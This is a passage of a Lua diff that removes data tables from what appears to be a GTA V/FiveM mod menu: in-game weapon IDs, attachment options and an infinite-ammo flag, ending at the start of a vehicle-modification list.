- id = 'COMPONENT_AT_MUZZLE_03'
- },
- {
- name = '~h~~r~> ~s~Precision Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_04'
- },
- {
- name = '~h~~r~> ~s~Heavy Duty Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_05'
- },
- {
- name = '~h~~r~> ~s~Slanted Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_06'
- },
- {
- name = '~h~~r~> ~s~Split-End Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_07'
- }
- },
- Grips = {
- {
- name = '~h~~r~> ~s~Grip',
- id = 'COMPONENT_AT_AR_AFGRIP_02'
- }
- }
- }
- },
- CarbineRifle = {
- id = 'weapon_carbinerifle',
- name = '~h~~r~> ~s~Carbine Rifle',
- bInfAmmo = false,
- mods = {
- Magazines = {
- {
- name = '~h~~r~> ~s~Default Magazine',
- id = 'COMPONENT_CARBINERIFLE_CLIP_01'
- },
- {
- name = '~h~~r~> ~s~Extended Magazine',
- id = 'COMPONENT_CARBINERIFLE_CLIP_02'
- },
- {
- name = '~h~~r~> ~s~Box Magazine',
- id = 'COMPONENT_CARBINERIFLE_CLIP_03'
- }
- },
- Sights = {
- {
- name = '~h~~r~> ~s~Scope',
- id = 'COMPONENT_AT_SCOPE_MEDIUM'
- }
- },
- Flashlight = {
- {
- name = '~h~~r~> ~s~Flashlight',
- id = 'COMPONENT_AT_AR_FLSH'
- }
- },
- BarrelAttachments = {
- {
- name = '~h~~r~> ~s~Suppressor',
- id = 'COMPONENT_AT_AR_SUPP'
- }
- },
- Grips = {
- {
- name = '~h~~r~> ~s~Grip',
- id = 'COMPONENT_AT_AR_AFGRIP'
- }
- }
- }
- },
- CarbineRifleMkII = {
- id = 'weapon_carbinerifle_mk2',
- name = '~h~~r~> ~s~Carbine Rifle Mk II ',
- bInfAmmo = false,
- mods = {
- Magazines = {
- {
- name = '~h~~r~> ~s~Default Magazine',
- id = 'COMPONENT_CARBINERIFLE_MK2_CLIP_01'
- },
- {
- name = '~h~~r~> ~s~Extended Magazine',
- id = 'COMPONENT_CARBINERIFLE_MK2_CLIP_02'
- },
- {
- name = '~h~~r~> ~s~Tracer Rounds',
- id = 'COMPONENT_CARBINERIFLE_MK2_CLIP_TRACER'
- },
- {
- name = '~h~~r~> ~s~Incendiary Rounds',
- id = 'COMPONENT_CARBINERIFLE_MK2_CLIP_INCENDIARY'
- },
- {
- name = '~h~~r~> ~s~Hollow Point Rounds',
- id = 'COMPONENT_CARBINERIFLE_MK2_CLIP_ARMORPIERCING'
- },
- {
- name = '~h~~r~> ~s~FMJ Rounds',
- id = 'COMPONENT_CARBINERIFLE_MK2_CLIP_FMJ'
- }
- },
- Sights = {
- {
- name = '~h~~r~> ~s~Holograhpic Sight',
- id = 'COMPONENT_AT_SIGHTS'
- },
- {
- name = '~h~~r~> ~s~Small Scope',
- id = 'COMPONENT_AT_SCOPE_MACRO_MK2'
- },
- {
- name = '~h~~r~> ~s~Large Scope',
- id = 'COMPONENT_AT_SCOPE_MEDIUM_MK2'
- }
- },
- Flashlight = {
- {
- name = '~h~~r~> ~s~Flashlight',
- id = 'COMPONENT_AT_AR_FLSH'
- }
- },
- Barrel = {
- {
- name = '~h~~r~> ~s~Default',
- id = 'COMPONENT_AT_CR_BARREL_01'
- },
- {
- name = '~h~~r~> ~s~Heavy',
- id = 'COMPONENT_AT_CR_BARREL_02'
- }
- },
- BarrelAttachments = {
- {
- name = '~h~~r~> ~s~Suppressor',
- id = 'COMPONENT_AT_AR_SUPP'
- },
- {
- name = '~h~~r~> ~s~Flat Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_01'
- },
- {
- name = '~h~~r~> ~s~Tactical Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_02'
- },
- {
- name = '~h~~r~> ~s~Fat-End Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_03'
- },
- {
- name = '~h~~r~> ~s~Precision Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_04'
- },
- {
- name = '~h~~r~> ~s~Heavy Duty Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_05'
- },
- {
- name = '~h~~r~> ~s~Slanted Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_06'
- },
- {
- name = '~h~~r~> ~s~Split-End Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_07'
- }
- },
- Grips = {
- {
- name = '~h~~r~> ~s~Grip',
- id = 'COMPONENT_AT_AR_AFGRIP_02'
- }
- }
- }
- },
- AdvancedRifle = {
- id = 'weapon_advancedrifle',
- name = '~h~~r~> ~s~Advanced Rifle ',
- bInfAmmo = false,
- mods = {
- Magazines = {
- {
- name = '~h~~r~> ~s~Default Magazine',
- id = 'COMPONENT_ADVANCEDRIFLE_CLIP_01'
- },
- {
- name = '~h~~r~> ~s~Extended Magazine',
- id = 'COMPONENT_ADVANCEDRIFLE_CLIP_02'
- }
- },
- Sights = {
- {
- name = '~h~~r~> ~s~Scope',
- id = 'COMPONENT_AT_SCOPE_SMALL'
- }
- },
- Flashlight = {
- {
- name = '~h~~r~> ~s~Flashlight',
- id = 'COMPONENT_AT_AR_FLSH'
- }
- },
- BarrelAttachments = {
- {
- name = '~h~~r~> ~s~Suppressor',
- id = 'COMPONENT_AT_AR_SUPP'
- }
- }
- }
- },
- SpecialCarbine = {
- id = 'weapon_specialcarbine',
- name = '~h~~r~> ~s~Special Carbine',
- bInfAmmo = false,
- mods = {
- Magazines = {
- {
- name = '~h~~r~> ~s~Default Magazine',
- id = 'COMPONENT_SPECIALCARBINE_CLIP_01'
- },
- {
- name = '~h~~r~> ~s~Extended Magazine',
- id = 'COMPONENT_SPECIALCARBINE_CLIP_02'
- },
- {
- name = '~h~~r~> ~s~Drum Magazine',
- id = 'COMPONENT_SPECIALCARBINE_CLIP_03'
- }
- },
- Sights = {
- {
- name = '~h~~r~> ~s~Scope',
- id = 'COMPONENT_AT_SCOPE_MEDIUM'
- }
- },
- Flashlight = {
- {
- name = '~h~~r~> ~s~Flashlight',
- id = 'COMPONENT_AT_AR_FLSH'
- }
- },
- BarrelAttachments = {
- {
- name = '~h~~r~> ~s~Suppressor',
- id = 'COMPONENT_AT_AR_SUPP_02'
- }
- },
- Grips = {
- {
- name = '~h~~r~> ~s~Grip',
- id = 'COMPONENT_AT_AR_AFGRIP'
- }
- }
- }
- },
- SpecialCarbineMkII = {
- id = 'weapon_specialcarbine_mk2',
- name = '~h~~r~> ~s~Special Carbine Mk II',
- bInfAmmo = false,
- mods = {
- Magazines = {
- {
- name = '~h~~r~> ~s~Default Magazine',
- id = 'COMPONENT_SPECIALCARBINE_MK2_CLIP_01'
- },
- {
- name = '~h~~r~> ~s~Extended Magazine',
- id = 'COMPONENT_SPECIALCARBINE_MK2_CLIP_02'
- },
- {
- name = '~h~~r~> ~s~Tracer Rounds',
- id = 'COMPONENT_SPECIALCARBINE_MK2_CLIP_TRACER'
- },
- {
- name = '~h~~r~> ~s~Incendiary Rounds',
- id = 'COMPONENT_SPECIALCARBINE_MK2_CLIP_INCENDIARY'
- },
- {
- name = '~h~~r~> ~s~Hollow Point Rounds',
- id = 'COMPONENT_SPECIALCARBINE_MK2_CLIP_ARMORPIERCING'
- },
- {
- name = '~h~~r~> ~s~FMJ Rounds',
- id = 'COMPONENT_SPECIALCARBINE_MK2_CLIP_FMJ'
- }
- },
- Sights = {
- {
- name = '~h~~r~> ~s~Holograhpic Sight',
- id = 'COMPONENT_AT_SIGHTS'
- },
- {
- name = '~h~~r~> ~s~Small Scope',
- id = 'COMPONENT_AT_SCOPE_MACRO_MK2'
- },
- {
- name = '~h~~r~> ~s~Large Scope',
- id = 'COMPONENT_AT_SCOPE_MEDIUM_MK2'
- }
- },
- Flashlight = {
- {
- name = '~h~~r~> ~s~Flashlight',
- id = 'COMPONENT_AT_AR_FLSH'
- }
- },
- Barrel = {
- {
- name = '~h~~r~> ~s~Default',
- id = 'COMPONENT_AT_SC_BARREL_01'
- },
- {
- name = '~h~~r~> ~s~Heavy',
- id = 'COMPONENT_AT_SC_BARREL_02'
- }
- },
- BarrelAttachments = {
- {
- name = '~h~~r~> ~s~Suppressor',
- id = 'COMPONENT_AT_AR_SUPP_02'
- },
- {
- name = '~h~~r~> ~s~Flat Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_01'
- },
- {
- name = '~h~~r~> ~s~Tactical Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_02'
- },
- {
- name = '~h~~r~> ~s~Fat-End Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_03'
- },
- {
- name = '~h~~r~> ~s~Precision Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_04'
- },
- {
- name = '~h~~r~> ~s~Heavy Duty Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_05'
- },
- {
- name = '~h~~r~> ~s~Slanted Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_06'
- },
- {
- name = '~h~~r~> ~s~Split-End Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_07'
- }
- },
- Grips = {
- {
- name = '~h~~r~> ~s~Grip',
- id = 'COMPONENT_AT_AR_AFGRIP_02'
- }
- }
- }
- },
- BullpupRifle = {
- id = 'weapon_bullpuprifle',
- name = '~h~~r~> ~s~Bullpup Rifle',
- bInfAmmo = false,
- mods = {
- Magazines = {
- {
- name = '~h~~r~> ~s~Default Magazine',
- id = 'COMPONENT_BULLPUPRIFLE_CLIP_01'
- },
- {
- name = '~h~~r~> ~s~Extended Magazine',
- id = 'COMPONENT_BULLPUPRIFLE_CLIP_02'
- }
- },
- Sights = {
- {
- name = '~h~~r~> ~s~Scope',
- id = 'COMPONENT_AT_SCOPE_SMALL'
- }
- },
- Flashlight = {
- {
- name = '~h~~r~> ~s~Flashlight',
- id = 'COMPONENT_AT_AR_FLSH'
- }
- },
- BarrelAttachments = {
- {
- name = '~h~~r~> ~s~Suppressor',
- id = 'COMPONENT_AT_AR_SUPP'
- }
- },
- Grips = {
- {
- name = '~h~~r~> ~s~Grip',
- id = 'COMPONENT_AT_AR_AFGRIP'
- }
- }
- }
- },
- BullpupRifleMkII = {
- id = 'weapon_bullpuprifle_mk2',
- name = '~h~~r~> ~s~Bullpup Rifle Mk II',
- bInfAmmo = false,
- mods = {
- Magazines = {
- {
- name = '~h~~r~> ~s~Default Magazine',
- id = 'COMPONENT_BULLPUPRIFLE_MK2_CLIP_01'
- },
- {
- name = '~h~~r~> ~s~Extended Magazine',
- id = 'COMPONENT_BULLPUPRIFLE_MK2_CLIP_02'
- },
- {
- name = '~h~~r~> ~s~Tracer Rounds',
- id = 'COMPONENT_BULLPUPRIFLE_MK2_CLIP_TRACER'
- },
- {
- name = '~h~~r~> ~s~Incendiary Rounds',
- id = 'COMPONENT_BULLPUPRIFLE_MK2_CLIP_INCENDIARY'
- },
- {
- name = '~h~~r~> ~s~Armor Piercing Rounds',
- id = 'COMPONENT_BULLPUPRIFLE_MK2_CLIP_ARMORPIERCING'
- },
- {
- name = '~h~~r~> ~s~FMJ Rounds',
- id = 'COMPONENT_BULLPUPRIFLE_MK2_CLIP_FMJ'
- }
- },
- Sights = {
- {
- name = '~h~~r~> ~s~Holograhpic Sight',
- id = 'COMPONENT_AT_SIGHTS'
- },
- {
- name = '~h~~r~> ~s~Small Scope',
- id = 'COMPONENT_AT_SCOPE_MACRO_02_MK2'
- },
- {
- name = '~h~~r~> ~s~Medium Scope',
- id = 'COMPONENT_AT_SCOPE_SMALL_MK2'
- }
- },
- Flashlight = {
- {
- name = '~h~~r~> ~s~Flashlight',
- id = 'COMPONENT_AT_AR_FLSH'
- }
- },
- Barrel = {
- {
- name = '~h~~r~> ~s~Default',
- id = 'COMPONENT_AT_BP_BARREL_01'
- },
- {
- name = '~h~~r~> ~s~Heavy',
- id = 'COMPONENT_AT_BP_BARREL_02'
- }
- },
- BarrelAttachments = {
- {
- name = '~h~~r~> ~s~Suppressor',
- id = 'COMPONENT_AT_AR_SUPP'
- },
- {
- name = '~h~~r~> ~s~Flat Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_01'
- },
- {
- name = '~h~~r~> ~s~Tactical Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_02'
- },
- {
- name = '~h~~r~> ~s~Fat-End Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_03'
- },
- {
- name = '~h~~r~> ~s~Precision Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_04'
- },
- {
- name = '~h~~r~> ~s~Heavy Duty Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_05'
- },
- {
- name = '~h~~r~> ~s~Slanted Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_06'
- },
- {
- name = '~h~~r~> ~s~Split-End Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_07'
- }
- },
- Grips = {
- {
- name = '~h~~r~> ~s~Grip',
- id = 'COMPONENT_AT_AR_AFGRIP'
- }
- }
- }
- },
- CompactRifle = {
- id = 'weapon_compactrifle',
- name = '~h~~r~> ~s~Compact Rifle',
- bInfAmmo = false,
- mods = {
- Magazines = {
- {
- name = '~h~~r~> ~s~Default Magazine',
- id = 'COMPONENT_COMPACTRIFLE_CLIP_01'
- },
- {
- name = '~h~~r~> ~s~Extended Magazine',
- id = 'COMPONENT_COMPACTRIFLE_CLIP_02'
- },
- {
- name = '~h~~r~> ~s~Drum Magazine',
- id = 'COMPONENT_COMPACTRIFLE_CLIP_03'
- }
- }
- }
- }
- },
- LMG = {
- MG = {
- id = 'weapon_mg',
- name = '~h~~r~> ~s~MG',
- bInfAmmo = false,
- mods = {
- Magazines = {
- {
- name = '~h~~r~> ~s~Default Magazine',
- id = 'COMPONENT_MG_CLIP_01'
- },
- {
- name = '~h~~r~> ~s~Extended Magazine',
- id = 'COMPONENT_MG_CLIP_02'
- }
- },
- Sights = {
- {
- name = '~h~~r~> ~s~Scope',
- id = 'COMPONENT_AT_SCOPE_SMALL_02'
- }
- }
- }
- },
- CombatMG = {
- id = 'weapon_combatmg',
- name = '~h~~r~> ~s~Combat MG',
- bInfAmmo = false,
- mods = {
- Magazines = {
- {
- name = '~h~~r~> ~s~Default Magazine',
- id = 'COMPONENT_COMBATMG_CLIP_01'
- },
- {
- name = '~h~~r~> ~s~Extended Magazine',
- id = 'COMPONENT_COMBATMG_CLIP_02'
- }
- },
- Sights = {
- {
- name = '~h~~r~> ~s~Scope',
- id = 'COMPONENT_AT_SCOPE_MEDIUM'
- }
- },
- Grips = {
- {
- name = '~h~~r~> ~s~Grip',
- id = 'COMPONENT_AT_AR_AFGRIP'
- }
- }
- }
- },
- CombatMGMkII = {
- id = 'weapon_combatmg_mk2',
- name = '~h~~r~> ~s~Combat MG Mk II',
- bInfAmmo = false,
- mods = {
- Magazines = {
- {
- name = '~h~~r~> ~s~Default Magazine',
- id = 'COMPONENT_COMBATMG_MK2_CLIP_01'
- },
- {
- name = '~h~~r~> ~s~Extended Magazine',
- id = 'COMPONENT_COMBATMG_MK2_CLIP_02'
- },
- {
- name = '~h~~r~> ~s~Tracer Rounds',
- id = 'COMPONENT_COMBATMG_MK2_CLIP_TRACER'
- },
- {
- name = '~h~~r~> ~s~Incendiary Rounds',
- id = 'COMPONENT_COMBATMG_MK2_CLIP_INCENDIARY'
- },
- {
- name = '~h~~r~> ~s~Hollow Point Rounds',
- id = 'COMPONENT_COMBATMG_MK2_CLIP_ARMORPIERCING'
- },
- {
- name = '~h~~r~> ~s~FMJ Rounds',
- id = 'COMPONENT_COMBATMG_MK2_CLIP_FMJ'
- }
- },
- Sights = {
- {
- name = '~h~~r~> ~s~Holograhpic Sight',
- id = 'COMPONENT_AT_SIGHTS'
- },
- {
- name = '~h~~r~> ~s~Medium Scope',
- id = 'COMPONENT_AT_SCOPE_SMALL_MK2'
- },
- {
- name = '~h~~r~> ~s~Large Scope',
- id = 'COMPONENT_AT_SCOPE_MEDIUM_MK2'
- }
- },
- Barrel = {
- {
- name = '~h~~r~> ~s~Default',
- id = 'COMPONENT_AT_MG_BARREL_01'
- },
- {
- name = '~h~~r~> ~s~Heavy',
- id = 'COMPONENT_AT_MG_BARREL_02'
- }
- },
- BarrelAttachments = {
- {
- name = '~h~~r~> ~s~Flat Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_01'
- },
- {
- name = '~h~~r~> ~s~Tactical Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_02'
- },
- {
- name = '~h~~r~> ~s~Fat-End Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_03'
- },
- {
- name = '~h~~r~> ~s~Precision Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_04'
- },
- {
- name = '~h~~r~> ~s~Heavy Duty Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_05'
- },
- {
- name = '~h~~r~> ~s~Slanted Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_06'
- },
- {
- name = '~h~~r~> ~s~Split-End Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_07'
- }
- },
- Grips = {
- {
- name = '~h~~r~> ~s~Grip',
- id = 'COMPONENT_AT_AR_AFGRIP_02'
- }
- }
- }
- },
- GusenbergSweeper = {
- id = 'weapon_gusenberg',
- name = '~h~~r~> ~s~GusenbergSweeper',
- bInfAmmo = false,
- mods = {
- Magazines = {
- {
- name = '~h~~r~> ~s~Default Magazine',
- id = 'COMPONENT_GUSENBERG_CLIP_01'
- },
- {
- name = '~h~~r~> ~s~Extended Magazine',
- id = 'COMPONENT_GUSENBERG_CLIP_02'
- }
- }
- }
- }
- },
- Snipers = {
- SniperRifle = {
- id = 'weapon_sniperrifle',
- name = '~h~~r~> ~s~Sniper Rifle',
- bInfAmmo = false,
- mods = {
- Sights = {
- {
- name = '~h~~r~> ~s~Scope',
- id = 'COMPONENT_AT_SCOPE_LARGE'
- },
- {
- name = '~h~~r~> ~s~Advanced Scope',
- id = 'COMPONENT_AT_SCOPE_MAX'
- }
- },
- BarrelAttachments = {
- {
- name = '~h~~r~> ~s~Suppressor',
- id = 'COMPONENT_AT_AR_SUPP_02'
- }
- }
- }
- },
- HeavySniper = {
- id = 'weapon_heavysniper',
- name = '~h~~r~> ~s~Heavy Sniper',
- bInfAmmo = false,
- mods = {
- Sights = {
- {
- name = '~h~~r~> ~s~Scope',
- id = 'COMPONENT_AT_SCOPE_LARGE'
- },
- {
- name = '~h~~r~> ~s~Advanced Scope',
- id = 'COMPONENT_AT_SCOPE_MAX'
- }
- }
- }
- },
- HeavySniperMkII = {
- id = 'weapon_heavysniper_mk2',
- name = '~h~~r~> ~s~Heavy Sniper Mk II',
- bInfAmmo = false,
- mods = {
- Magazines = {
- {
- name = '~h~~r~> ~s~Default Magazine',
- id = 'COMPONENT_HEAVYSNIPER_MK2_CLIP_01'
- },
- {
- name = '~h~~r~> ~s~Extended Magazine',
- id = 'COMPONENT_HEAVYSNIPER_MK2_CLIP_02'
- },
- {
- name = '~h~~r~> ~s~Incendiary Rounds',
- id = 'COMPONENT_HEAVYSNIPER_MK2_CLIP_INCENDIARY'
- },
- {
- name = '~h~~r~> ~s~Armor Piercing Rounds',
- id = 'COMPONENT_HEAVYSNIPER_MK2_CLIP_ARMORPIERCING'
- },
- {
- name = '~h~~r~> ~s~FMJ Rounds',
- id = 'COMPONENT_HEAVYSNIPER_MK2_CLIP_FMJ'
- },
- {
- name = '~h~~r~> ~s~Explosive Rounds',
- id = 'COMPONENT_HEAVYSNIPER_MK2_CLIP_EXPLOSIVE'
- }
- },
- Sights = {
- {
- name = '~h~~r~> ~s~Zoom Scope',
- id = 'COMPONENT_AT_SCOPE_LARGE_MK2'
- },
- {
- name = '~h~~r~> ~s~Advanced Scope',
- id = 'COMPONENT_AT_SCOPE_MAX'
- },
- {
- name = '~h~~r~> ~s~Nigt Vision Scope',
- id = 'COMPONENT_AT_SCOPE_NV'
- },
- {
- name = '~h~~r~> ~s~Thermal Scope',
- id = 'COMPONENT_AT_SCOPE_THERMAL'
- }
- },
- Barrel = {
- {
- name = '~h~~r~> ~s~Default',
- id = 'COMPONENT_AT_SR_BARREL_01'
- },
- {
- name = '~h~~r~> ~s~Heavy',
- id = 'COMPONENT_AT_SR_BARREL_02'
- }
- },
- BarrelAttachments = {
- {
- name = '~h~~r~> ~s~Suppressor',
- id = 'COMPONENT_AT_SR_SUPP_03'
- },
- {
- name = '~h~~r~> ~s~Squared Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_08'
- },
- {
- name = '~h~~r~> ~s~Bell-End Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_09'
- }
- }
- }
- },
- MarksmanRifle = {
- id = 'weapon_marksmanrifle',
- name = '~h~~r~> ~s~Marksman Rifle',
- bInfAmmo = false,
- mods = {
- Magazines = {
- {
- name = '~h~~r~> ~s~Default Magazine',
- id = 'COMPONENT_MARKSMANRIFLE_CLIP_01'
- },
- {
- name = '~h~~r~> ~s~Extended Magazine',
- id = 'COMPONENT_MARKSMANRIFLE_CLIP_02'
- }
- },
- Sights = {
- {
- name = '~h~~r~> ~s~Scope',
- id = 'COMPONENT_AT_SCOPE_LARGE_FIXED_ZOOM'
- }
- },
- Flashlight = {
- {
- name = '~h~~r~> ~s~Flashlight',
- id = 'COMPONENT_AT_AR_FLSH'
- }
- },
- BarrelAttachments = {
- {
- name = '~h~~r~> ~s~Suppressor',
- id = 'COMPONENT_AT_AR_SUPP'
- }
- },
- Grips = {
- {
- name = '~h~~r~> ~s~Grip',
- id = 'COMPONENT_AT_AR_AFGRIP'
- }
- }
- }
- },
- MarksmanRifleMkII = {
- id = 'weapon_marksmanrifle_mk2',
- name = '~h~~r~> ~s~Marksman Rifle Mk II',
- bInfAmmo = false,
- mods = {
- Magazines = {
- {
- name = '~h~~r~> ~s~Default Magazine',
- id = 'COMPONENT_MARKSMANRIFLE_MK2_CLIP_01'
- },
- {
- name = '~h~~r~> ~s~Extended Magazine',
- id = 'COMPONENT_MARKSMANRIFLE_MK2_CLIP_02'
- },
- {
- name = '~h~~r~> ~s~Tracer Rounds',
- id = 'COMPONENT_MARKSMANRIFLE_MK2_CLIP_TRACER'
- },
- {
- name = '~h~~r~> ~s~Incendiary Rounds',
- id = 'COMPONENT_MARKSMANRIFLE_MK2_CLIP_INCENDIARY'
- },
- {
- name = '~h~~r~> ~s~Hollow Point Rounds',
- id = 'COMPONENT_MARKSMANRIFLE_MK2_CLIP_ARMORPIERCING'
- },
- {
- name = '~h~~r~> ~s~FMJ Rounds',
- id = 'COMPONENT_MARKSMANRIFLE_MK2_CLIP_FMJ '
- }
- },
- Sights = {
- {
- name = '~h~~r~> ~s~Holograhpic Sight',
- id = 'COMPONENT_AT_SIGHTS'
- },
- {
- name = '~h~~r~> ~s~Large Scope',
- id = 'COMPONENT_AT_SCOPE_MEDIUM_MK2'
- },
- {
- name = '~h~~r~> ~s~Zoom Scope',
- id = 'COMPONENT_AT_SCOPE_LARGE_FIXED_ZOOM_MK2'
- }
- },
- Flashlight = {
- {
- name = '~h~~r~> ~s~Flashlight',
- id = 'COMPONENT_AT_AR_FLSH'
- }
- },
- Barrel = {
- {
- name = '~h~~r~> ~s~Default',
- id = 'COMPONENT_AT_MRFL_BARREL_01'
- },
- {
- name = '~h~~r~> ~s~Heavy',
- id = 'COMPONENT_AT_MRFL_BARREL_02'
- }
- },
- BarrelAttachments = {
- {
- name = '~h~~r~> ~s~Suppressor',
- id = 'COMPONENT_AT_AR_SUPP'
- },
- {
- name = '~h~~r~> ~s~Flat Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_01'
- },
- {
- name = '~h~~r~> ~s~Tactical Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_02'
- },
- {
- name = '~h~~r~> ~s~Fat-End Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_03'
- },
- {
- name = '~h~~r~> ~s~Precision Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_04'
- },
- {
- name = '~h~~r~> ~s~Heavy Duty Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_05'
- },
- {
- name = '~h~~r~> ~s~Slanted Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_06'
- },
- {
- name = '~h~~r~> ~s~Split-End Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_07'
- }
- },
- Grips = {
- {
- name = '~h~~r~> ~s~Grip',
- id = 'COMPONENT_AT_AR_AFGRIP_02'
- }
- }
- }
- }
- },
- Heavy = {
- RPG = {
- id = 'weapon_rpg',
- name = '~h~~r~> ~s~RPG',
- bInfAmmo = false,
- mods = {}
- },
- GrenadeLauncher = {
- id = 'weapon_grenadelauncher',
- name = '~h~~r~> ~s~Grenade Launcher',
- bInfAmmo = false,
- mods = {}
- },
- GrenadeLauncherSmoke = {
- id = 'weapon_grenadelauncher_smoke',
- name = '~h~~r~> ~s~Grenade Launcher Smoke',
- bInfAmmo = false,
- mods = {}
- },
- Minigun = {
- id = 'weapon_minigun',
- name = '~h~~r~> ~s~Minigun',
- bInfAmmo = false,
- mods = {}
- },
- FireworkLauncher = {
- id = 'weapon_firework',
- name = '~h~~r~> ~s~Firework Launcher',
- bInfAmmo = false,
- mods = {}
- },
- Railgun = {
- id = 'weapon_railgun',
- name = '~h~~r~> ~s~Railgun',
- bInfAmmo = false,
- mods = {}
- },
- HomingLauncher = {
- id = 'weapon_hominglauncher',
- name = '~h~~r~> ~s~Homing Launcher',
- bInfAmmo = false,
- mods = {}
- },
- CompactGrenadeLauncher = {
- id = 'weapon_compactlauncher',
- name = '~h~~r~> ~s~Compact Grenade Launcher',
- bInfAmmo = false,
- mods = {}
- },
- Widowmaker = {
- id = 'weapon_rayminigun',
- name = '~h~~r~> ~s~Widowmaker',
- bInfAmmo = false,
- mods = {}
- }
- },
- Throwables = {
- Grenade = {
- id = 'weapon_grenade',
- name = '~h~~r~> ~s~Grenade',
- bInfAmmo = false,
- mods = {}
- },
- BZGas = {
- id = 'weapon_bzgas',
- name = '~h~~r~> ~s~BZ Gas',
- bInfAmmo = false,
- mods = {}
- },
- MolotovCocktail = {
- id = 'weapon_molotov',
- name = '~h~~r~> ~s~Molotov Cocktail',
- bInfAmmo = false,
- mods = {}
- },
- StickyBomb = {
- id = 'weapon_stickybomb',
- name = '~h~~r~> ~s~Sticky Bomb',
- bInfAmmo = false,
- mods = {}
- },
- ProximityMines = {
- id = 'weapon_proxmine',
- name = '~h~~r~> ~s~Proximity Mines',
- bInfAmmo = false,
- mods = {}
- },
- Snowballs = {
- id = 'weapon_snowball',
- name = '~h~~r~> ~s~Snowballs',
- bInfAmmo = false,
- mods = {}
- },
- PipeBombs = {
- id = 'weapon_pipebomb',
- name = '~h~~r~> ~s~Pipe Bombs',
- bInfAmmo = false,
- mods = {}
- },
- Baseball = {
- id = 'weapon_ball',
- name = '~h~~r~> ~s~Baseball',
- bInfAmmo = false,
- mods = {}
- },
- TearGas = {
- id = 'weapon_smokegrenade',
- name = '~h~~r~> ~s~Tear Gas',
- bInfAmmo = false,
- mods = {}
- },
- Flare = {
- id = 'weapon_flare',
- name = '~h~~r~> ~s~Flare',
- bInfAmmo = false,
- mods = {}
- }
- },
- Misc = {
- Parachute = {
- id = 'gadget_parachute',
- name = '~h~~r~> ~s~Parachute',
- bInfAmmo = false,
- mods = {}
- },
- FireExtinguisher = {
- id = 'weapon_fireextinguisher',
- name = '~h~~r~> ~s~Fire Extinguisher',
- bInfAmmo = false,
- mods = {}
- }
- }
- }
- local b8 = false
- local b9 = false
- local ba = false
- local bb = false
- local bc = nil
- local bd = {}
- local be = {}
- local bf = nil
- local bg = false
- local bh = -1
- local bi = -1
- local bj = -1
- local bk = false
- local bl = {
- {
- name = '~h~Spoilers',
- id = 0
- },
- {
- name = '~h~Front Bumper',
- id = 1
- },
- {
- name = '~h~Rear Bumper',
- id = 2
- },
- {
- name = '~h~Side Skirt',
- id = 3
- },
- {
- name = '~h~Exhaust',
- id = 4
- },
- {
- name = '~h~Frame',
- id = 5
- },
- {
- name = '~h~Grille',
- id = 6
- },
- {
- name = '~h~Hood',
- id = 7
- },
- {
- name = '~h~Fender',
- id = 8
- },
- {
- name = '~h~Right Fender',
- id = 9
- },
- {
- name = '~h~Roof',
- id = 10
- },
- {
- name = '~h~Vanity Plates',
- id = 25
- },
- {
- name = '~h~Trim',
- id = 27
- },
- {
- name = '~h~Ornaments',
- id = 28
- },
- {
- name = '~h~Dashboard',
- id = 29
- },
- {
- name = '~h~Dial',
- id = 30
- },
- {
- name = '~h~Door Speaker',
- id = 31
- },
- {
- name = '~h~Seats',
- id = 32
- },
- {
- name = '~h~Steering Wheel',
- id = 33
- },
- {
- name = '~h~Shifter Leavers',
- id = 34
- },
- {
- name = '~h~Plaques',
- id = 35
- },
- {
- name = '~h~Speakers',
- id = 36
- },
- {
- name = '~h~Trunk',
- id = 37
- },
- {
- name = '~h~Hydraulics',
- id = 38
- },
- {
- name = '~h~Engine Block',
- id = 39
- },
- {
- name = '~h~Air Filter',
- id = 40
- },
- {
- name = '~h~Struts',
- id = 41
- },
- {
- name = '~h~Arch Cover',
- id = 42
- },
- {
- name = '~h~Aerials',
- id = 43
- },
- {
- name = '~h~Trim 2',
- id = 44
- },
- {
- name = '~h~Tank',
- id = 45
- },
- {
- name = '~h~Windows',
- id = 46
- },
- {
- name = '~h~Livery',
- id = 48
- },
- {
- name = '~h~Horns',
- id = 14
- },
- {
- name = '~h~Wheels',
- id = 23
- },
- {
- name = '~h~Wheel Types',
- id = 'wheeltypes'
- },
- {
- name = '~h~Extras',
- id = 'extra'
- },
- {
- name = '~h~Neons',
- id = 'neon'
- },
- {
